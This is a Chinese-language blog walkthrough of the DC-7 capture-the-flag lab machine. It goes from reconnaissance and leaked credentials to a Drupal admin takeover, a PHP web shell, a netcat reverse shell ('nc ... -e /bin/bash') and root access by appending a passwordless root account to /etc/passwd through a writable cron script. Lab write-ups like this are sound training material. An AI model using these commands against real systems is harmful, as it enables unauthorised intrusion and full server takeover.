DC-7
基础信息收集
NMAP Result:
Nikto的结果没暴露啥有用信息。
Drupal试探
可以看到这是一个Drupal的站,用droopscan扫描一下:
没什么有用的信息,搜了一下版本的EXP也没有发现:
通过Tips找关键
这段话提示了一下,从外部找线索,看到最下面有一个**@DC7USER**,外国友人活跃的平台Twitter,搜一波:
芜湖,主页有Github的地址:
只有一个代码仓库,并且表述可以确定是DC-7的一些源代码。
配置文件:
这就有趣了!
尝试在Drupal登录失败,nmap还扫描出了SSH,再试试SSH:
成功进入!
修改Drupal管理员密码
在用户根目录下有一个mbox,记录了邮件,可以知道服务器存在一个定时任务备份。
但是backups目录下的所有文件都是通过gpg加密的,无法看到具体内容。
查看脚本内容可以看到:
drush命令可用!
那么,通过drush修改管理员密码应该是可行的!
修改成功!
拿到www-data用户的shell
光明正大地登录到网站:
修改Content的时候发现Drupal好像不支持使用PHP代码?
Google一下,原来需要给Drupal装一个拓展。
在Extend模块下选择Install new module,地址为:
1 | https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz |
安装完成后启用模块即可。
接下就可以很简单的反弹一个shell回去了。
加上这行,于是反弹一个shell
提权
请求:
1 | http://192.168.145.140/?cmd=nc%20192.168.145.130%208888%20-e%20/bin/bash |
成功拿到。
backups.sh的用户组是www-data,那么我们可以修改这个文件的内容,然后再利用定时任务触发获取root权限!
给定时任务加上一行:
1 | echo 'echo "escape::0:0:::/bin/bash" >> /etc/passwd' >> backups.sh |
然后我们只需要等待,等待定时任务触发,一旦定时任务触发,就会向/etc/passwd文件追加一行内容,而这行内容可以轻松的获取权限。
经过等待,可以看到已经追加完毕,切换用户,读取Flag!
除此之外还有很多提权手法,例如定时任务反弹shell,但是添加用户这种方式更为简洁,服务器在外网的情况下,使用公网反弹shell反倒不如直接添加一个提权账户。
- 本文标题:DC-7
- 本文作者:青 叶
- 创建时间:2021-04-01 18:56:15
- 本文链接:p/41657/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!